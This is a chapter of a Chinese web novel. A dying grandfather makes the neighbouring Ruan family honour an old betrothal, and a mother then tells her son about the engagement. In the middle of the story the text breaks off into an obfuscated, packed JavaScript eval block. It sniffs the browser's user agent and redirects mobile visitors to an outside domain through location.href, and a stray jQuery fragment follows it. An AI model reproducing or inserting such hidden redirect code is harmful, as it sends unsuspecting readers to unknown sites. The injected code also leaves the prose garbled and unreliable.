这雨下个没完,内室里聚着这么多人,却没有屋外那般吵闹。
所有人都紧张兮兮地看着江家老爷,只见他双眼混浊,又干又糙的手指头向前指着,颤颤微微,也不知道他所指的是何物。
有人劝道:“老爷子,如今你儿孙都在这了,还有什么放心不下的。你安心,乡里乡亲们也都在这呢,往后谁要是欺负江家孤儿寡母前来闹事,我第一个站出来评理。”
众人应和,郭氏暗中撇了撇嘴,但碍于这么多人在这里也不好发作。
江老爷含着泪微微点了点头,算是谢过,可手依旧向前指着。
看来不是因为这个。
人们顺着他指的方向看了看,除了围挡着的乡民们,就是烛台上燃着的那支白烛。
阮清武反应了一下,轻声道:“会不会是仿效严监生?”
阮秀才听见了,立刻给了他一个噤声的眼神。
毕竟江老太爷真算不上是吝啬鬼。
刘玉娥紧张地问道:“啥是严监生啊?”
人们你看看我我看看你,都是一脸茫然。阮清武自觉说错了话,也就不敢吱声了。
最后,江窈道:“严监生走之前,一直竖着两根手指头,有心愿未了,人们猜来猜去,都猜不对。最后,他的婆娘明白是他觉得灯里有两茎灯草,怕费了油,后来挑掉了一茎,严监生才放心闭眼了。”
这是江不辞给她讲的,她记得很清楚。
人们议论纷纷。
“江老太爷平时也节俭,说不定还真是这个意思。”
“这屋里确实是太亮了,这么多的蜡烛,真的没有必要。”
“那不如就熄几盏吧,别让老爷子不安。”
刘玉娥忙道:“不辞,快熄掉几根蜡烛。”
江不辞依言做了,吹灭几根,又拿了剪子剪了剪还着着的烛芯。
可江老太爷还是指着前方,喉咙里咕咕直响,似是有话要说,可怎么也说不上来。
有人歪着脑袋突然道:“这个方向……老爷子不会指的是阮秀才吧?”
“阮秀才?怎么可能。”人们都不信,摇着头道,“这江老太爷与阮秀才不过是邻里,这时候就算是有什么要交代的,也得找他儿子江田,再者找孙子江不辞啊。”
可是,话音刚落,人们就见江老爷子将手放了下去,嘴唇一碰一碰的,半天才吐出半个音来。
大家竖起耳朵努力去分辨,最后江不辞道:“爷爷好像说的是,荤?”
在场的人都愣了,一个人猜道:“莫不是老爷子想吃肉了?”
刘玉娥刚做出个手势,还没来得及出声,郭氏先抢先一步道:“我们家这个条件,哪能吃上肉啊。再者,就算行,这个时辰,外面那样的天气,去哪找肉吃啊。”
这话一出,江田明显有些不高兴了。
明明今早他还看到郭氏偷偷买了半只烧鸡,在自己屋里全吃光了,还让他去把鸡骨头埋土里。怎么到了他爹这里,就变成了家里没钱买肉了。
可他又向来说不过郭氏,想想也只能先忍下来,于是并没有出声。
潘老爷道:“这好说,我家院子里养了几只鸡,个个肥,等我这就抓来。”说罢便朝外走。
江老太爷突然开始猛烈咳嗽起来,肩膀一耸一耸的,眼睛瞪得极大,一声:“婚……婚……婚约……”
声音不大,却格外清晰,连马上要掀门帘出去的潘老爷都定住了脚步。
殷氏的脸色瞬间变得格外难看。
刘玉娥心中一惊,好在还能勉强稳住,温声道:“不辞,阿窈,你们去林子里捡些树枝来放屋里,明天烧火用。”
江窈惊道:“娘,现在?”
这深更半夜的,外面还下着大雨,树枝明日再捡也来得及啊。
刘玉娥抿嘴道:“这雨估计明日也停不了,不如早做了安排。清武,劳你陪他们去一趟,以安全为上。”
顾清武拱了拱手:“请伯母放心。”
待三人撑伞出去,一屋子的人都沉默不语。江老太爷眼里的光熄了又明,明了又熄,就是不愿咽气。
有人叹气道:“老爷子所言,莫不是指江家和阮家当年定下的婚约?”
殷氏表情严肃,立刻反驳道:“无稽之谈,我们两家哪有什么婚约!”
刘玉娥伤感地垂了垂眼睫,可江老爷子一直坚持着等阮家表态,眼睛死死盯着他们,里面蓄满了泪水。
阮秀才看了不忍,刚打算点头,就被殷氏拉了衣袍。
殷氏小声道:“想想清殊,不能答应。”
她说得实在小声,周围的人只看她脸色凝重,却不知这婚约是顾清武的还是顾小娘子的。
有人劝道:“先应了吧,左右老爷子能安心上路了。”
“三更的魂留到五更才离去,怕是要动了禁忌。”
“既是真的有婚约,那成亲不就是理所当然的嘛,在犹豫什么呢。”
那自然是要犹豫的。
若是平常的小郎君,定下了也就定下了,谁又想抵赖。
可那偏偏是生了一双金瞳的江不辞,阮氏夫妇就不得不为自家的女儿考虑了。
刘玉娥见状,也是无法,只好安抚江老爷子:“当年定亲之时,两个孩子还小,算不得数,现下倒也不急着敲定下来,先让他们相处着来。”
这倒是个折中的法子,殷氏脸色稍缓,只要清殊与江不辞没什么交集,自己再多提提他的坏处,这亲以后定是成不了的。
可江老太爷却不肯,他的呼吸又急又乱,支撑了半天,歪了头开始吐。乡亲们不动声色地用袖子捂着鼻子,看着刘玉娥蹲在地上收拾,又取了盆和帕子帮他来净手面。
“求……求……求……”
他只能吐出半个音来,可眼神里满是乞求。
知情人都知道江老爷子有多疼爱江不辞,那孩子长相也周正,只可惜了那双眼睛。不少郎中给瞧过了,都说是从娘胎里带出来的毛病,治不了。
阮秀才不忍心,拉了拉殷氏的手。殷氏偏过头去,泪在眼眶里打着转,可就是没有松口。
刘玉娥看向江田和郭氏,道:“还劳小叔和弟妹去偏屋拿一下火盆和纸钱。”
郭氏不高兴道:“拿这些东西,还用得着两个人?”
她还想看看这件事情到底是怎么回事,毕竟她嫁过来这么多年,从未听说过江家和阮家有什么婚约。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912799|176940||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
江田道:“那纸钱松松散散的,虽然不沉,但我一个人也不好拿。咱们俩一起去,一趟就够了。”
郭氏拉着脸,拍了拍自己的肚子,扬声道:“这里面要真有了你的种,你还让我干这干那,将来不怕他不认你?”
江田脸黑了黑,可悄悄打了一个手势,还要哄着郭氏:“走吧走吧。”
郭氏看出来他比划了一个鸡腿,虽然万分不情愿,但还是跟着江田出去了。
待他们一走,刘玉娥朝阮氏夫妇行了一个大礼,郑重道:“能到边上说说吗?”
殷氏一怔,被阮秀才一拉,才勉强同意。
刘玉娥在边上同他们说了几句,乡亲们看不到他们脸上的表情,只知道再回来时,殷氏依旧板着脸,但和之前相比却是不太一样了。
刘玉娥脸上挂着泪,伏在板子的旁边,又笑又哭的:“爹,你放心去吧,江阮两家的婚事定下了。”
江老太爷转着眼珠子,看向阮氏夫妇,像是在确认。
阮秀才道:“是,两家的婚约依旧,这么多的乡亲作证,老太爷放心便好。”
乡亲们忙着附和:“我们都能证明,老爷子放心吧。”
听到这话,江老太爷努力地点了一下头,长舒出一口气来,身子慢慢软了下去。
有人问:“哎,这婚约说的是江窈还是不辞啊?”
他的声音太小了,很快就被满屋子的哭声所掩盖了。
*
江老爷子祖籍江岭,就算是死在了常渡村,那也要落叶归根。
江家人扶柩送灵到江岭,半个月后才回来。
本就人丁不兴的江家,随着主心骨的离去,更显得了了无声。
常渡村的人向来重诺,既然江家人回来了,那议亲的事也要提上日程了。
这日,阮清武从田里回来,从缸里舀了一口水喝,就见殷氏面色凝重地从里屋出来。
阮清武过去:“娘,怎么了?”
殷氏犹豫了半天,知道这件事不能再拖下去了,便道:“你进屋来,娘有一件事要同你说。”
阮清殊在园子里拔青菜,一回头,就见娘带着哥哥往里去。
她站起身,小跑两步:“娘,阿兄——”
可他们没听见,房门便在自己眼前阖上了。
阮清武扶殷氏在椅子上坐下,面上没什么大的表情,心里却打着鼓,小心翼翼地问:“娘,发生了何事?”
殷氏看着他,叹了口气。
自家儿子生得高壮,虽然表情憨憨的,但眉目也爽朗。之所以一直没有受到姑娘的青睐,是因为那只受伤的脚。
毕竟没有哪家愿意把自己的女儿嫁给一个跛子。
“是这样的。”殷氏只能硬着头皮说慌,“在你很小的时候,阮家和江家定了一个婚约。如今你已经弱冠了,那江家丫头也及笄了,你们愿不愿意成亲呢?”
殷氏不敢说太多,毕竟说假话的人心虚。
刚刚那番话中,都是实话,阮江两家确有婚约,阮清武确已弱冠,江窈也确已及笄……可放到一起……殷氏便不再说了,只用期待的眼神看着阮清武。
这也是没有办法的办法了。